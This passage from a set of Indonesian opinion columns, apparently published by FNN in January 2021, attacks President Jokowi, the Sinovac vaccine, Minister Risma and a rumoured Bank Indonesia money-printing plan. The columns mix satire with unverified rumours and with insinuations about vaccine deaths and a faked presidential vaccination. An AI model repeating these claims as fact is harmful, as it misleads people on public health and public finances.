menolak vaksin untuk dirinya dan anak cucunya. Ribka yang satu partai dengan Jokowi bahkan menuding di RRC vaksin sinovac adalah barang rongsokan. Ribka memilih jual mobil untuk membayar denda, ketimbang tunduk divaksin. Penolakan Ribka jelas menohok Jokowi. Jokowi jadi wirang karena kolega separtainya membangkang. Sial memang. Tak hanya Ribka, Trimedya Panjaitan juga menohok Jokowi dengan telak. Politisi PDIP itu bukan mencela soal vaksin, tetapi soal Listyo Sigit Prabowo, calon Kapolri pilihan Jokowi sebagai polisi yang tidak punya prestasi. Dari sisi pendidikan kepolisian Sigit bukanlah peraih Adhi Makayasa seperti Tito Karnavian. Sepanjang karirnya sebagai jenderal polisi, Sigit hanya menjabat sebagai Kapolda Banten (2016-2018), bukan Polda kelas A seperti Sumatera Utara, Jawa Timur, Jawa Tengah, Jawa Barat, dan Metro Jaya. Jokowi dilanda sial karena banyak perlawanan dari dalam lingkungan Jokowi sendiri. Koordinator Tim Pembela Demokrasi Indonesia (TPDI) Petrus Selestinus menolak Jokowi yang akan menunjuk Kabareskrim Komjen Pol. Listyo Sigit Prabowo sebagai Kapolri baru pengganti Jenderal Polisi Idham Azis yang akan pensiun 25 Januari 2021. “Karena itu, demi masa depan NKRI, Komjen Pol. Listyo Sigit Prabowo, tidak layak diusulkan apalagi dipilih jadi Kapolri 2021 ke depan,” kata Petrus. Koor pembangkangan sedang nyaring dinyanyikan oleh PDIP yang mustinya atau komando mendukung kebijakan Jokowi. Perihal hari Rabu, kita masih ingat kejadian 2 Mei 1992 di Jogjakarta. Bambang Wahyu Nirbito dan Ambar Widyatmoko keduanya 27 tahun, mahasiswa Akademi Akuntansi Yayasan Keluarga Pahlawan Negara (AA-YKPN), harus mendekam di Polresta Jogjakarta hanya gara-gara Hari Rabu. Lelucon yang ia mainkan di depan sekitar 500 mahasiswa menuai badai. Saat mengisi acara di Radio Geronimo Yogya mereka memelesetkan bagian ayat Quran. "Wa laa taqrabuzzinaa...". Ayat ini sebenarnya berarti "jangan mendekati zina". Namun, oleh mereka, dipelesetkan menjadi, "Jangan berzina di hari Rabu. Jadi, boleh berzina pada hari lainnya. Maka, marilah kita berzina sepuas-puasnya." Buntutnya, mereka harus mendekam di kantor polisi untuk mempertanggungjawabkan pelecehannya. Kini, apakah ritual Jokowi “Rabu Baik” itu membawa kedamaian bagi bangsa Indonesia? Apakah kesejahteraan rakyat tercipta berkat “Rabu Baik?” Apakah utang luar negeri berkurang, pertanian subur, harga harga terjangkai, pertumbuhan ekonomi di atas 7 persen, hukum tegak, ulama dan umat terlindungi, semua gara-gara “Rabu Baik?” Tampaknya, Jokowi hanya merasa nyaman dan damai di hari Rabu. Hari-hari lain ia pusing cenderung frustasi menghadapi suara suara kritis di masyarakat. Apalagi suara langit yang dikumandangkan peramal Mbak You bikin merinding rezim Jokowi yang diteropong akan jatuh pada 2021. Untuk mengurangi ketegangan rezim, Mbak You pun buru-buru meralat ramalannya, Jokowi bukan lengser 2021 tetapi akan turun pada 2024. Padahal, Mbak You tidak meramal, ia cuma merangkai peristiwa, membaca medsos, dan mengira- ira saja. Tetapi Jokowi yang kadung percaya dengan dunia ghaib dan “Rabu Baik”, tampaknya sangat percaya ramalan Mbak You. Jika pemimpin percaya ramalan dan utak-atik gathuk, maka kebijakannya pun tambal sulam, sporadis, dan sesukanya. Jika tabiat ini tidak diubah, maka hanya keajaiban yang bisa menyelamatkan Jokowi. *)

Siasat Licik China Jualan Vaksin Sinovac, MUI Jadi “Tumbal”

by Mochamad Toha Surabaya, FNN - Penggunaan Vaksin Sinovac, China, di Indonesia menimbulkan reaksi pro dan kontra. Selain efikasinya yang dipandang masih terendah di antara sejumlah proto-vaksin sejenis lainnya, legalisasi penggunaan Sinovac di Indonesia dinilai memiliki “udang di balik batu”. Pasalnya, setelah terbit izin penggunaan darurat vaksin Sinovac di Indonesia oleh BPOM, vaksin ini juga diketahui telah mengantungi sertifikasi “Suci dan Halal” dari MUI. Dalam perkembangannya, sertifikasi halal dari MUI tersebut digunakan China sebagai “alat” menjual vaksin Sinovac ke negara-negara dengan penduduk mayoritas Islam. Siasat licik China inilah yang kemudian memunculkan kontroversi: Indonesia, dalam hal ini MUI, diperalat untuk kepentingan Negara Tirai Bambu tersebut. Ajaibnya, Pemerintah RI seakan tutup mata dengan kontroversi vaksin Sinovac, baik di dalam Indonesia maupun di dunia. Sadar atau tidak, ternyata Sertifikat “Suci dan Halal” yang disematkan pada vaksin Sinovac oleh MUI dimanfaatkan China untuk memasarkan Sinovac ke Negara-Negara Islam, seperti ditulis JPNN.com, Selasa (12 Januari 2021 – 05:59 WIB). Dilansir JPNN.com, Pemerintah China mengajak Indonesia untuk bersama-sama mendukung ketersediaan dan keterjangkauan vaksin Covid-19 di negara-negara berkembang dan negara-negara Islam. Ajakan tersebut disampaikan Kantor Juru Bicara Kementerian Luar Negeri China (MFA) melalui pernyataannya kepada ANTARA di Beijing, Senin (11/1/2021). Langkah tersebut merupakan respons terhadap terbitnya sertifikat halal MUI pada vaksin yang dikembangkan oleh perusahaan China, Sinovac. Berkat dukungan pemerintah China dan Indonesia, Sinovac bersama mitranya di Indonesia berhasil melakukan kerja sama penelitian dan pengembangan, pengadaan, dan uji klinis tahap ketiga hingga akhirnya berhasil memperoleh sertifikat halal. Vaksin yang dikembangkan oleh Sinovac telah tiba di Indonesia dalam dua tahap. Vaksin itu sudah bisa digunakan untuk keperluan darurat. Sebelumnya, Komisi Fatwa MUI menyepakati bahwa Sinovac halal untuk digunakan. Setelah ada pernyataan halal dari MUI ini, BPOM akhirnya mengeluarkan izin penggunaan darurat aksin Sinovac. Namun, anggota DPR dari F-PKS Ansori Siregar mengungkap fakta mengejutkan. Kabarnya, ada ancaman dan tekanan, sehingga BPOM menerbitkan izin penggunaan darurat vaksin Sinovac sebelum Rabu, 13 Januari 2021. “Saya tidak respek dengan Anda,” tegas Ansori Siregar kepada Kepala BPOM Penny K Lukito. Dia juga memarahi Dirut Biofarma Honesty Bashir karena hanya mengekor saja kemauan Meneg BUMN Erick Thohir. Siapa yang mengancam dan menekan mereka? Presiden Joko Widodo? Mengingat Jokowi ingin divaksin pertama pada Rabu, 13 Januari 2021. Efikasi Sinovac Sebelumnya, tim peneliti dari Fakultas Kedokteran Universitas Padjadjaran, Bandung, merancang proses uji klinis vaksin Sinovac selesai kurang dari setahun sejak Agustus 2020. Melansir Tempo.co, Minggu (17 Januari 2021 19:15 WIB), dari hasil selama 3 bulan pertama perjalanan risetnya telah dilaporkan kepada BPOM dan mengantar terbitnya izin penggunaan darurat pada 11 Januari 2021. Tim memang menilai hasil sementara uji klinis vaksin Covid-19 dari China itu bagus. Tujuan utama dari uji klinis itu adalah untuk mengevaluasi efikasi atau khasiat vaksin Sinovac dalam mencegah Covid-19 yang disebabkan oleh SARS-CoV-2. Tujuan sekundernya seperti mengevaluasi keamanan dan imunogenisitas vaksin. “Tingkat efikasi dari interim report itu 65,3 persen,” kata ketua tim riset Prof Kusnandi Rusmil yang dihubungi pada Kamis malam, 14 Januari 2021. Tingkat efikasi itu, jelasnya, didapat setelah diketahui ada 18 peserta uji klinis di kelompok penerima plasebo dan 7 di kelompok penerima vaksin yang masih terinfeksi Covid-19 pasca dua kali penyuntikan atau dosis penuh. Sayangnya tingkat efikasi dengan 18 peserta uji klinis kelompok penerima plasebo dan 7 di kelompok penerima vaksin yang masih terinfeksi Covid-19 pasca dua kali penyuntikan atau dosis penuh itu baru dibuka sekarang ini. Sebelumnya, saat mengumumkan izin EUA (Emergency Use of Authorization) penggunaan darurat vaksin Sinovac, baik BPOM maupun FK UNPAD terkesan tidak mau membuka data hasil uji klinis dari dua kelompok tersebut. Adapun jumlah relawan dan rentang usianya, sesuai permintaan pihak Sinovac. “Mereka menetapkan yang di Indonesia itu jumlahnya 1.620 orang relawan umurnya antara 18-59 tahun,” kata Kusnandi. Di Brazil, hasil terbaru yang dikeluarkan oleh tim peneliti di Butantan Institue, penyelenggara uji klinis di sana mengatakan, efikasi vaksin Sinovac hanya 50,4%, hampir 30% ada di bawah angka yang diberitakan hanya seminggu sebelumnya, yaitu 78%. Pertama kali memang dinyatakan bahwa efikasi uji klinis Sinovac melebihi syarat FDA: lebih dari 50%. Berikutnya keluar angka 78%, dan yang terbaru kembali ke pengumuman pertama: Sedikit di atas 50%. Menurut Arie Karimah, Pharma-Excellent alumni ITB, rendahnya efikasi akan berarti bahwa dibutuhkan waktu makin lama bagi Brazil untuk mengatasi pandemik Covid-19. Turunnya angka efikasi secara drastis ini menurut mereka dikarenakan: Angka 78% belum memasukkan perhitungan dari data kelompok penerima vaksin yang “terinfeksi sangat ringan”, namun tidak memerlukan perawatan di rumah sakit. Dengan dimasukkannya angka tersebut, artinya mengurangi Persentase Kelompok Plasebo yang terinfeksi, sehingga angka efikasi menjadi turun. Efikasi diperoleh dari membagi jumlah kelompok plasebo yang terinfeksi dengan total volunteer terinfeksi. Jadi, mereka ingin mengatakan, Sinovac: 50,4% efektif mencegah infeksi sangat ringan yang tidak memerlukan perawatan di rumah sakit; 78% efektif mencegah infeksi ringan yang memerlukan perawatan di RS;100% efektif mencegah infeksi sedang hingga parah. “Kompetitor mereka dari Barat: Pfizer, Moderna, dan AstraZeneca tidak memerlukan breakdown seperti ini. Mereka berikan satu data hasil rata-rata,” ujar Arie Karimah. Ada beberapa kasus kematian pasca-vaksin Covid-19 buatan Pfizer dan BioNTech. Seorang dokter di Florida, Amerika Serikat, Dr. Gregory Michael, 56 tahun, meninggal dunia setelah 16 hari divaksin. Di Jerman, tercatat 10 orang meninggal dunia pasca-divaksin dengan vaksinasi yang sama: buatan Pfizer dan BioNTech. Dan di Norwegia, 23 orang dinyatakan meninggal dunia pasca-vaksin produk yang sama. Meski telah menimbulkan korban puluhan orang, namun 3 negara tersebut menyatakan akan tetap menggunakan vaksin buatan Pfizer dan BioNTech. The Norwegian Medicines Agency menyatakan, “Ini bukan alarm. Nyata-nyata bahwa vaksin ini memiliki resiko yang sangat rendah, dengan pengecualian bagi relawan berusia manula dengan tingkat kesehatan yang rendah.” Di Norwegia sendiri, vaksin Pfizer dan BioNTech diujicobakan terhadap 25 ribu orang dari pelbagai usia dan jenis kelamin. Vaksinasi itu sendiri dimulai pada 27 Desember 2020. Penulis adalah Wartawan Senior FNN.co.id.

Ibu Risma, Jangan Bertindak Seperti Presiden

by Tony Rosyid Jakarta FNN - Bikin gaduh aja! Begitulah kesan publik terhadap Risma. Jabatannya Menteri Sosial (Mensos). Tetapi upla uplek di Jakarta cari gelandangan. Setelah menemui gelandangan di Jl. Thamrin, kini Risma kasih rekomendasi gelandangan jadi pegawai di BUMN. Apakah langkah Risma ini akan menyelesaikan persoalan? Pastinya tidak. Yang ada justru muncul persoalan baru. Pertama, berapa banyak gelandangan yang bisa ditampung di BUMN? Kalau jumlah gelandangan di kota-kota besar jumlahnya jutaan, termasuk di Surabaya, apa akan bisa ditampung di BUMN? Nggak mungkin. Di bawah jalan tol Waru-Tanjung Perak Surabaya saja ada 175 gelandangan. Itu baru satu tempat. Di Surabaya saja. Bagaimana dengan kota-kota lain? Ada banyak kolong-kolong jembatan yang sekarang menjadi tempat tinggal bagi gelandangan. Mau ditampung semuanya di BUMN? Ngayal saja ah. Justru, upaya Risma memberi kerjaan hanya untuk segelintir gelandangan akan dianggap publik sebagai pencitraan belaka. Kenapa Risma tidak memperbanyak tempat-tempat penampungan di berbagai kota besar. Di tempat-tempat kota besar seperti Surabaya, Semarang, Bandung, Medan, Makasar, Pelambang, Yogyakarta dan Jakarta ini, para gelandangan dikumpulkan. Setelah itu dilatih skillnya agar bisa bekerja atau usaha. Ini jauh lebih efektif sebagai solusi. Tetapi, nggak mudah juga mengumpulkan mereka dalam satu tempat. Mereka terpencar di berbagai lokasi. Banyak yang nggak mau dilokasir. Ini problem klasik yang dihadapi setiap pemda terkait gelandangan. Risma pasti tahu soal ini. Karena itu, nggak boleh ada dusta diantara kita. Kedua, soal skill. Banyak yang punya skill, berpendidikan lagi. Tetapi susah untuk mencari kerja. Nggak diterima di banyak perusahaan. Karena memang, lapangan kerja makin sempit. Ini para gelendangan, sekolahnya entah apa, dan bagaimana juga skillnya? Masuk di BUMN. Ingat lho, bekerja di BUMN itu seksi. Gajinya aduhai lagi. Tetapi keren, Risma bisa memberi rekomendasi ke kementerian BUMN. Apakah Erick Tohir sebagai Menteri BUMN bisa mengakomodir pola Risma yang spontan dan instan ini? Terakhir, Risma mau bikinin KTP buat para pengemis dan gelandangan. Lagi-lagi, urusan KTP itu urusan Dinas Kependudukan dan Catatan Sipil (Dukcapil), dibawah Mendagri Tito Karnavian. Soal e-KTP, ada prosedurnya. Harus jelas asal usul orangnya. Ada teknis mengurusnya. Dimulai dari RT-RW semua data akan diverifikasi. Warga mana, sudah punya KTP atau belum, bagaimana dengan KK-nya. Kalau dari desa, mesti ada surat pindah domisili. Prosedur ini dibuat untuk menghindari KTP ganda. Aturan ini ada di Kemendagri. Apalagi, tahun 2018 kemarin adalah akhir Kemendagri tuntaskan urusan KTP. Kalau sekarang Risma mau bikinin KTP lagi buat para gelandangan, ini jadi tamparan buat Mendagri. Seolah-olah urusan KTP ini nggak pernah beres rupanya. Ada lagi masalah baru. Akan jauh lebih bijak, bila Risma mendata lebih dahulu para gelandangan di seluruh kota-kota besar di Indonesia. Verifikasi secara detail identitas mereka. Gali lebih mendalam apa masalahnya. Setelah data-data itu terverifikasi, cari solusi, termasuk menjalin kerjasama lintas Kementerian dan Pemda. Semangat boleh, gebrakan juga oke-oke aja. Kerja cepat, itu juga bagus, tetapi nggak bisa spontan dan instan saja. Semua perlu dikerjakan secara sistemik. Ada data dan perencanaan. Jangan asal liat ada gelandangan dan tuna wisma, langusng teriak sana, teriak sini. Umbar janji sana, janji sini. Risma itu mensos, bukan presiden. Kalau presiden, bisa perintahkan menteri-menteri lain. Juga sudah ada mekanisme koordinasi yang lazim dengan daerah. Risma mestinya jangan bertindak sebagai presiden. Ingat, nggak ada visi menteri, yang ada visi presiden. Kecuali jika tujuannya untuk persiapan Pilgub DKI 2022. Kalau itu targetnya, Risma sungguh nggak cerdas. Sebab, langkahnya membuat publik, termasuk warga DKI, malah nggak simpati. Buktinya, Forum RT-RW se-DKI malah menuduh Risma bikin gaduh. Artinya, sepak terjang Risma direspon negatif oleh warga DKI. Juga oleh rakyat Indonesia. Ngono yo ngono, tapi yo ojo ngono!

Edan Edun Edin,,, Dukun Dikriminalisasi Juga

by M. Rizal Fadillah Bandung FNN - Para pendukung penguasa semakin kehilangan akal sehat dan rasionalitasnya. Setelah mimpi Ustadz Haikal Hassan ketemu Nabi Sallaahu Alaihi Wasallam dilaporkan ke Polisi, kini spesialis pelaporan polisi Muannas Alaidid hendak melaporkan Mbak You, ibu dukun yang telah meramalkan kejatuhan Jokowi pada tahun 2021. Sebelumnya Mbak You "sukses" meramal kejatuhan pesawat. Setelah diancam akan dilaporkan, Mbak You mengklarifikasi bahwa yang dimaksud penggantian Jokowi itu tahun 2024. Sebenarnya ini bukan klarifikasi tetapi perubahan ramalan akibat adanya tekanan mau dikriminalisasi. Sebab narasi ramalan jatuhnya Presiden itu satu paket dengan jatuhnya pesawat terbang. Sama-sama bakal terjadi pada tahun 2021. Kini giliran peramal yang mau dikriminalisasi. Kejadian seperti ini hanya ditemukan ada di eranya Jokowi. Mungkin juga sudah lupa bahwa Jokowi dahulu pernah juga meramal kalau ekonomi Indonesia akan terus meroket. Ramalannya tahun 2017 akan mencapai 7,1%. Sementara tahun 2018 dan 2019, masing-masing bakalan mencapai 7,5 % dan 8 %. Nah, ramalan tentang bakalan meroketnya pertumbuhan ekonomi di atas 7%, dimulai sejak tahun 2017 itu yang membuat harapan pada masyarakat. Namun akhirnya mengecewakan, karena pertumbuhan ekonomi merosot atau meroket ke bawah. Malah nyungsep dan ternjun bebas. Ramalan palsu jadinya. Untuk menyamakan dengan hasil pertumbuhan ekonomi yang decapai selama SBY berkuasa saja susah. Mengkriminal dimensi transenden adalah fenomena baru dalam sejarah hukum dan politik di negara Pancasila. Begitu semena-menanya kekuasaan mengkriminalisasi warga negaranya. Mengkritisi disebut makar. Mimpi dan meramal disebut bikin onar. Hanya pandangan sendiri dari penguasa saja yang paling benar. Selain dari penguasa, semua salah. Dasar ambyar. Dalam hukum pidana itu berlaku asas "nullum delictum nulla poena sine praevia lege poenali". Artinya, seseorang tak dapat dipidana tanpa ada delik yang mendahuluinya. Karenanya kriminalisasi terhadap mimpi dan ramalan adalah bertentangan dengan asas hukum pidana ini. Baik KUHP maupun aturan hukum pidana lain. Tidak ada aturan hukum yang mengatur delik seperti ini. Dahulu saja kasus dukun santet tak bisa dihukum karena tak memiliki rumusan delik. Pembuktian yang tidak mudah. Sangat susah. Pasal 545 (1) KUHP yang dilarang adalah peramalan dijadikan sebagai mata pencaharian. Bukan konten ramalan, itupun sanksi pidana kurungan hanya 6 (enam) hari dan denda 300 rupiah. Apalah artinya sanksi pidana yang seperti itu. Dalam Rancangan Undang-Undang (RUU) KUHP yang baru, dukun santet dicoba untuk diancam dengan pidana. Namun RUU itupun hingga kini tak kunjung dibahas. Entah mangkraknya dimana? Apakah di pemerintah atau di DPR? Namun nyatanya tidak pernah ada pembahasan lebih lanjut. Paling-paling ujungnya saling menyalahkan antara pemerintah dan DPR. Mungkin perlu ada titel sendiri dalam RUU KUHP baru yang memuat delik mimpi, ramalan, khayalan, lamunan, atau sejenisnya. Lalu dibahas oleh Pemerintah dan DPR dengan serius. Jangan asal-asalan pembahasannya. Sementara dunia memperhatikan dengan seksama bagaimana sekumpulan orang gila sedang ikut merumuskan hukuman terhadap fantasi. Begitu mungkin fikirnya. Nah Mbak You, you adalah Mbak. Banyak yang komentar atas suksesnya meramal pesawat terbang jatuh, dan kini banyak yang menunggu pilot pesawat lain yang jatuh di tahun 2021 ini. Namun ketika mengubah menjadi tahun 2024, rupanya Mbak You sukses melobi Jin komunikator. Jin yang takut dilaporkan ke Kepolisian. Atau Jin yang mungkin telah disuap agar dapat berkelit demi politik? Edan, edun, edin. Ramal meramal memang bukan ruang orang sehat. Karenanya agama melarang mempercayai ramalan. Agama Islam menyebutnya dengan syirik atau menyekutukan Tuhan. Itu adalah dosa besar yang sulit untuk diampuni. You memang keterlaluan dalam hal plintat-plintut. Tetapi yang main lapor jauh lebih keterlaluan lagi. Edan, edun, edin. Penulis adalah Pemerhati Politik dan Kebangsaan.

BI Cetak Uang Rp 300 Triliun

INI kabar menarik dan teranyar dari Bank Indonesia (BI). Bank sentral yang berkantor pusat di Jalan Thamrin, Jakarta Pusat itu dikabarkan akan segera mencetak uang kartal Rp 100 triliun sampai Rp 300 triliun. Tentu, BI mengordernya ke Perum Peruri (Perusahaan Umum Percetakan Uang Republik Indonesia). Langkah tersebut harus diambil karena keadaan darurat keuangan negara yang semakin kritis. Keadaan terpaksa, itulah yang diambil oleh otoritas moneter nanti. Sebab, jika tidak buru-buru mencetak uang, dalam beberapa bulan ke depan tidak ada lagi dana untuk membayar gaji Aparatur Sipil Negara (ASN), TNI dan Polri. Apa betul sudah mulai tidak ada uang negara? Bisa benar, jika melihat kejadian terlambatnya pembayaran gaji ASN di beberapa daerah, pada Januari 2021. Biasanya ASN, sudah menerima gaji tanggal 1, tapi bulan ini ada yang mundur sampai tanggal 8. Ini dialami ASN di DKI Jakarta dan Banten, misalnya. Terlambat, karena alasan ada perbaikan sistem. Kok perbaikan sistem di DKI Jakarta dan Banten bisa kompak. Jangan-jangan daerah lain juga sama sehingga gaji ASN terlambat. Bahkan, info yang diperoleh, gaji TNI juga terlambat. Bisa jadi perbaikan sistem secara bersamaan itu benar dalam arti, dari yang biasanya ada uang menjadi tidak ada. Makanya, terlambat bayar. Rencana mencetak uang antara Rp 100 triliun sampai Rp 300 triliun kelihatannya tidak main-main. Berdasarkan kabar yang diperoleh, Gubernur BI Perry Warjiyo sudah membahas rencana tersebut dengan pihak Kementerian Keuangan (Kemenkeu) dan Otoritas Jasa Keuangan (OJK). Dari Kemenkeu kabarnya baru diwakili pejabat setingkat Eselon I. Sedangkan dari OJK juga belum diikuti oleh ketuanya. Bisa jadi, karena ini pembicaraan awal, Menteri Keuangan dan Ketua OJK masih mengutus wakil. Akan tetapi, dalam pertemuan tersebut, Perry sebagai tuan rumah alias pengundang menggambarkan situasi keuangan negara yang semakin kritis. Sebab, dari sisi penerimaan pajak tahun 2021 ini sangat jauh dari harapan. Hal ini berkaca pada pengalaman penerimaan pajak tahun 2020 yang juga tidak sesuai target. Selain penerimaan pajak yang seret, investasi juga tidak mencapai target, sementara penerimaan negara juga meleset dari target. Padahal, pengeluaran pemerintah semakin besar. Mengharapkan utang atau pinjaman juga semakin sulit. Sebab, semua negara lebih fokus pada pemulihan ekonomi masing-masing. Semua tahu, pinjaman bilateral, multilateral dan institusi keuangan global cukup ketat. Penerbitan SBN atau Surat Berharga Negara mulai jenuh, sehingga satu-satunya jalan sebagai solusi penambal APBN adalah mencetak uang. Jika mencetak uang sampai Rp 300 triliun merupakan alternatif yang diambil, itu sangat berisiko. Sebab, mencetak uang di luar batas-batas yang telah ditetapkan oleh undang-undang, jelas mengundang berbagai dampak dan masalah. Dampak paling jelas dan mengerikan adalah inflasi akan naik tidak karu-karuan. Inflasi bisa terbang meroket. Ingat, tahun 1998, inflasi mencapai 77,63 akibat kerusuhan yang terjadi di berbagai kota di tanah air, saat berakhirnya era Orde Baru. Saat itu tidak ada cetak uang kartal. Yang ada justru penjarahan uang negara oleh 48 bank melalui Bantuan Likuiditas Bank Indonesia (BLBI) sebanyak Rp 144,5 triliun. Dari jumlah itu, Rp 138 triliun atau 95 persen berpotensi dikorupsi atau diselewengkan. Jika BI pada akhirnya mencetak uang kartal sampai angka Rp 300 triliun atau bisa jadi lebih besar dari itu, selain memicu inflasi jelas merembet ke lainnya, terutama daya beli masyarakat yang semakin tertekan, karena harga terus membubung/melambung. Ditambah lagi nilai tukar rupiah terhadap dolar AS semakin terpuruk. Jika ekspor berjalan bagus, pelemahan nilai tukar rupiah terhadap dolar AS itu tentu bagus. Akan tetapi, ekspor Indonesia, terutama yang dihasilkan petani masih jalan di tempat. Mencetak uang kartal dengan maksud pemulihan ekonomi bukanlah sebuah jalan keluar yang tepat. Apalagi, ketika awal Mei 2020 yang lalu, Perry Warjiyo dan Menteri Keuangan Sri Mulyani Indrawati menolak mentah-mentah usulan DPR agar mencetak uang kartal Rp 600 triliun untuk penanganan pandemi Covid-19. Apakah penolakan itu merupakan bentuk sikap dari BI dan pemerintah yang tidak mau didikte oleh DPR? Semua masih menunggu jawaban. Mencetak uang kartal dalam jumlah ratusan triliun rupiah, bukan merupakan praktik kebijakan yang lazim dan prudent dilakukan oleh sebuah bank sentral. Dengan catatan, kecuali kepepet dan mendapatkan tekanan dari penguasa. Ini ibarat pepatah buah simalakama. "Dimakan mati ayah, tidak dimakan mati ibu." Cetak uang membuat daya beli masyarakat terpukul, tidak mencetak lebih terpukul lagi. **

Jokowi Disentil Keras Soal Perahu Karet untuk Banjir Kalimantan

by Asyari Usman Medan, FNN - Ketika orang-orang biasa mampu memikirkan penyebab banjir besar di Kalimantan Selatan, Presiden Jokowi melalui Twitter @jokowi mencuitkan tentang kesigapan beliau mengurusi banjir besar ini. Dalam cuitan itu, akun dengan nama Joko Widodo yang berfoto profil Pak Jokowi dengan pakaian jas, berpeci dan masker, mengatakan Presiden telah memerintahkan kepala BNPB (Badan Nasional Penanggulan Bencana), TNI dan Polri agar secepatnya mengirimkan bantuan termasuk perahu karet. Cuitan “perahu karet” ini kemudian ditonjok keras oleh netizen dengan akun @Dandhy_Laksono (Dandhy Laksono). Dandhy mengatakan, “Kalau soal perahu karet, tanpa perintah presiden pun, tim lapangan paham. Porsi Presiden itu memerintahkan evaluasi izin dan audit lingkungan semua sektor ekstraktif (tambang-pen) di Kalimantan, agar banjir dan asap tidak terjadi lagi.” Sekarang, saya permisi mau menojok balik Bung Dandhy. Ada beberapa poin kritikan untuk Anda. Pertama, Pak Jokowi itu bereaksi sangat konotatif, kognitif, dan konglomeratif. Artinya, begitu ada banjir, Pak Jokowi langsung berkonotasi ke perahu karet. Ini wajar karena setiap kali ada banjir, Pak Jokowi selalu melihat perahu karet di lokasi. Jadi, ada aspek kognitif Pak Jokowi yang bekerja. Sedangkan reaksi yang sifatnya konglomeratif adalah pikiran dan tindakan yang “conglomerate friendly” (ramah konglomerat). Selalu memikirkan para konglomerat jika ada indikasi keterkaitan antara bencana banjir di Kalimantan dan tambang batubara serta perkebunan sawit. Ini maksudnya adalah: jika ada banjir besar di sana, maka Pak Jokowi akan spontan teringat bagaimana cara menjawab cecaran terhadap para konglomerat. Seterusnya, Pak Jokowi terbiasa bereaksi produktif. Yaitu, langsung mengatasi masalah seketika. Ada banjir, kirim perahu karet. Di mana saja ada banjir, solusinya perahu karet. Jadi, wajar saja kalau perahu karet yang disebut Pak Jokowi dalam cuitannya. Nah, Anda, Bung Dandhy, sangat keliru menuntut evaluasi izin tambang dan izin perkebunan sawit. Anda mungkin berpendapat izin di kedua sektor ini sebagai penyebab banjir air di Kalimantan. Keliru besar. Izin tambang dan izin perkebunan itu adalah penyebab “banjir duit”. Bukan hanya penyebab banjir air seperti yang terjadi saat ini. Sebagai penyebab “banjir duit”, maka izin tambang dan izin perkebunan sawit tidak cocok dinilai buruk. Sebaliknya harus dievaluasi dan diaudit dengan predikat “sangat bagus”. Namanya juga “banjir duit”. Siapa yang akan memberikan evaluasi tidak baik? Pak Jokowi harus berpikir keras tentang bagaimana cara mengkanalisasikan “banjir duit” itu agar tidak menggenang ke mana-mana. “Banjir duit” harus diarahkan ke satu tempat saja. Supaya mudah dikelola. Poin yang kedua, Panjenengan kayaknya belum mampu memahami Pak Jokowi. Beliau itu menggunakan cara halus untuk memukul para pemilik tambang dan perkebunan di Kalimantan. Beliau menggunakan bencana alam untuk menegur mereka. Nanti Pak Jokowi tinggal bilang, “Bapak-bapak sekalian, beginilah dampak buruk tambang batubara dan perkebunan sawit di Kalimantan.” Dengan teguran satu kalimat itu saja, puluhan pengusaha tambang dan sawit sudah mengerti apa yang harus dilakukan. Mereka akan mengumpulkan donasi untuk korban banjir. Pastilah akan terkumpul ratusan miliar atau bahkan triliunan. Setelah donasi terkumpul, akan diminta bantuan Juliari Batubara (mantan menteri sosial) untuk menyalurkannya. Pak Juliari sudah sangat berpengalaman menyalurkan bansos Covid. Beliau sudah sangat paham menunjuk pihak-pihak yang bertugas menyampaikan bantuan ke pihak-pihak yang “berhak”. Terus, untuk mendistribusikan bantuan dari para konglomerat tambang dan sawit itu tentu diperlukan tas tenteng atau ‘goodie bag’. Ini bisa dipesan dari PT Sritex. Supaya pesanan aman dan efisien, bisa minta bantuan Mas Gibran. Penulis adalah Wartawan Senior FNN.co.id.

Jokowi Bisa Dipidana Jika Suntik Vaksin Bohongan

by M. Rizal Fadillah Bandung FNN - Sudah banyak yang mewanti-wanti agar dalam proses vaksinasi ini kepeloporan Presiden Jokowi harus diikuti dengan transparansi. Selain itu, tidak membuka celah pintu dugaan negatif dalam pelaksanaan vaksinasi vaksin yang berasal dari Cina Tiongkok tersebut. Bermain-main dengan vaksin bukan saja berbahaya tetapi juga mengarah pada skandal. Penyuntikan yang tidak tanggung-tanggung. Penyuntikan dilakukan seorang Guru Besar yang tangannya "gemetaran" ketika menyuntik. Prof. dr. Abdul Mutholib, Sp. PD. KHOM. Mungkin sebenarnya dapat lebih tegar dan mahir jika dilakukan oleh seorang paramedis. Tetapi itulah fungsi pencitraan. Presiden disuntik vaksin oleh Guru Besar Kedokteran. Benar saja, banyak yang curiga. Yang paling menonjol dan viral adalah surat terbuka seorang dokter dari Cirebon. Dokter spesialis penyakit dalam dr. Taufiq Muhibbudin Waly, Sp PD. Beliau berpendapat setelah mendiskusikan dengan dokter dan paramedis senior, bahwa cara penyuntikan vaksin kepada Presiden Jokowi adalah salah. Harusnya tidak begitu. Menurut dr. Taufik Muhibbudin Waly, agar masuk intramuskular harus lurus 90 derajat. Jika intramuskular miring seperti yang dilakukan oleh Prof. dr. Abdul Mutholib Sp. PD. KHOM. kepada Presiden Jokowi, maka vaksin salah masuk. Demikian juga alat suntik, harusnya spuit 3 cc. Bukan spuit 1 cc seperti yang terlihat kemarin itu. Meski ini hanya opini, yang kemudian dinafikan oleh Ketua Ikatan Dokter Indonesia (IDI) dr. Daeng Faqih yang juga ikut disuntik bersama Presiden, tetapi hal tersebut harus dikarifikasi serius. Tidak cukup hanya dengan dibantah saja. Apalagi sekedar menyebut surat hanya berdasar pada opini. Publik berhak tau apa sesungguhnya yang dengan vaksin sinovac yang banyak ditolak di berbagai belahan dunia. Rakyat Indonesia menyaksikan dan mempertaruhkan diri kelak terhadap penyuntikan yang dicontohkan oleh Pak Jokowi. Presiden pun berbahagia dan menyatakan "tak terasa, terimakasih Prof". Sikap refleks yang menimbulkan multi tafsir di masyarakat. Sehingga uji kesahihan harus dilakukan. Apakah dr.Taufik Muhibbudin Waly yang benar, atau dr. Daeng Faqih yang benar ? Jika ada kesalahan suntik, maka solusinya jelas, harus dilakukan pengulangan sebagaimana saran dr Taufik Muhibbudin Waly. Jika cara penyuntikan yang dlakukan oleh Prof. dr. Abdul Mutholib Sp. PD. KHOM. dan isinya sudah benar, maka dr Taufik dapat dikenakan sanksi oleh IDI. Masalah terberat adalah jika ternyata "salah suntik" itu "by design" semata. Kalau salah suntik yang terjadi pada Presiden Jokowi ini hanya by design semata, makan ini akan masuk ranah penipuan publik. Hoaks yang tersebar di banyak media. Presiden dan tim telah menyebarkan kebohongan.Bukan hanya satu dua orang, tetapi 260 juta rakyat telah tertipu. Bisa dikatagorikan sebagai pembohongan publik yang sengaja dan direncanakan. Merujuk peristiwa 